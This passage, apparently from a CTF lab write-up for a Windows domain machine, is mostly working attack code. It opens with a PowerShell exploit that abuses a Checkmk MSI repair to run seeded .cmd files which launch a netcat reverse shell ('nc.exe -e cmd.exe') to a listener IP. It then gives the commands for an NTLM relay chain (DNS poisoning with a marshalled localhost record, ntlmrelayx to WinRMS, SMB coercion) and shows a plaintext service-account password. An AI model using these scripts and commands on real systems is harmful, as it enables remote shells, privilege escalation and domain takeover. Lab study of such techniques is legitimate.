try { New-Item -ItemType Directory -Path $ProofDir -Force | Out-Null } catch {}
# Resolve Checkmk MSI
$MSI = (
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties' |
Where-Object { $_.DisplayName -like 'Checkmk*' -or $_.Publisher -like '*tribe29*' } |
Select-Object -First 1 -ExpandProperty LocalPackage
)
if ($MSI -and (Test-Path $MSI)) {
Write-Host "[*] MSI: $MSI"
} else {
Write-Host "[-] Could not resolve Checkmk MSI path (continuing if -NoRepair)."
}
# ======== PAYLOAD ========
# we use netcat here; set up listener
$NcPath = 'C:\Temp\nc.exe' # bin path
$LHOST = '10.10.11.24' # listener IP
$LPORT = 60002 # listener port
$Batch = '@echo off' + "`r`n" +
'mkdir C:\pwn 2>nul' + "`r`n" +
'echo triggered>%SystemRoot%\Temp\cmk_marker.txt' + "`r`n" +
'rem --- fire reverse shell via your pre-uploaded nc.exe' + "`r`n" +
'start "" "'+$NcPath+'" -e cmd.exe '+$LHOST+' '+$LPORT+''
# ======== END PAYLOAD ========
function Write-SeedFile([string]$Dest, [string]$Content){
try{
[System.IO.File]::WriteAllText($Dest, $Content, [System.Text.Encoding]::ASCII)
$cur = [System.IO.File]::GetAttributes($Dest)
[System.IO.File]::SetAttributes($Dest, ($cur -bor [System.IO.FileAttributes]::ReadOnly))
return $true
} catch { return $false }
}
# Continuous seeding loop for SeedSeconds seconds (CTR 0 and 1)
$deadline = (Get-Date).AddSeconds($SeedSeconds)
$ctrValues = 0,1
$seedOk = 0
while ((Get-Date) -lt $deadline) {
for ($guess = $MinPID; $guess -le $MaxPID; $guess++) {
foreach ($ctr in $ctrValues) {
$dest = "C:\Windows\Temp\cmk_all_{0}_{1}.cmd" -f $guess,$ctr
if (Write-SeedFile -Dest $dest -Content $Batch) { $seedOk++ }
}
}
}
Write-Host "[*] Seeded $seedOk read-only .cmd files across $MinPID..$MaxPID (CTR=0,1)"
# Trigger server-side repair (must be an account allowed to repair — e.g., web_svc)
if (-not $NoRepair -and $MSI) {
Write-Host "[*] Triggering server-side repair (silent, verbose log)..."
Start-Process msiexec.exe -ArgumentList "/fa `"$MSI`" /qn /norestart /l*vx `"$LogPath`"" -Wait
} elseif ($NoRepair) {
Write-Host "[*] Skipping repair (NoRepair set)."
}
# Nudge local agent to encourage temp activity
Write-Host "[*] Nudging local agent $NudgeCount times..."
for ($i=0; $i -lt $NudgeCount; $i++) {
try{
$c = New-Object Net.Sockets.TcpClient('127.0.0.1',6556)
$s = $c.GetStream()
$b = New-Object byte[] 256
$s.ReadTimeout = 800
try{ [void]$s.Read($b,0,$b.Length) }catch{}
}catch{}finally{
try{ if($s){$s.Close()} }catch{}
try{ if($c){$c.Close()} }catch{}
}
}
# Tail log if present (service context lines are "MSI (s)")
if (Test-Path $LogPath) {
Write-Host "[*] Tail of repair log:"
Get-Content $LogPath -Tail 30 | Out-Host
}
# Quick execution marker check
if (Test-Path "$env:WINDIR\Temp\cmk_marker.txt") {
Write-Host "[+] Marker found: $env:WINDIR\Temp\cmk_marker.txt"
}
# Optional cleanup
if ($Cleanup) {
Write-Host "[*] Cleanup: removing seeded .cmd files..."
Get-ChildItem $TempDir -Filter 'cmk_all_*_0.cmd' -Force | Remove-Item -Force -ErrorAction SilentlyContinue
Get-ChildItem $TempDir -Filter 'cmk_all_*_1.cmd' -Force | Remove-Item -Force -ErrorAction SilentlyContinue
}Rooted:

NTML Relaying Attack
Since we previously confirmed the target is vulnerable to NTLM reflection, we can pull off a textbook relay attack — either via NTLM (as seen in Signed) or escalate into Kerberos relaying (DarkCorp, but for this case).
Here's the classic Signed-box flow:
# Poison DNS to hijack 'localhost' using marshalled hostname trick
python dnstool.py -u 'nanocorp.htb\web_svc' -p 'dksehdgh712!@#' 240.0.0.1 \
-a 'add' \
-r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d $attackerIp \
-dns-ip 240.0.0.1 \
--tcp --allow-multiple
# Set up NTLM relay to WinRMS
ntlmrelayx.py -smb2support -t winrms://240.0.0.1 -i
# Trigger coercion to the poisoned 'localhost'
nxc smb nanocorp.htb -u web_svc -p 'dksehdgh712!@#' \
-M coerce_plus \
-o LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA We poison DNS with a marshalled localhost record, set up ntlmrelayx to catch and relay, and finally coerce the authentication via SMB — exact hit:

Boom — NT SYSTEM WinRMS shell successfully relayed:

Honestly? This root path smells unintended for a Hard box. It's clean, fast, and sidesteps the Checkmk LPE path and RDP entry entirely. But it works — and in an op, that's what counts.
Comments | NOTHING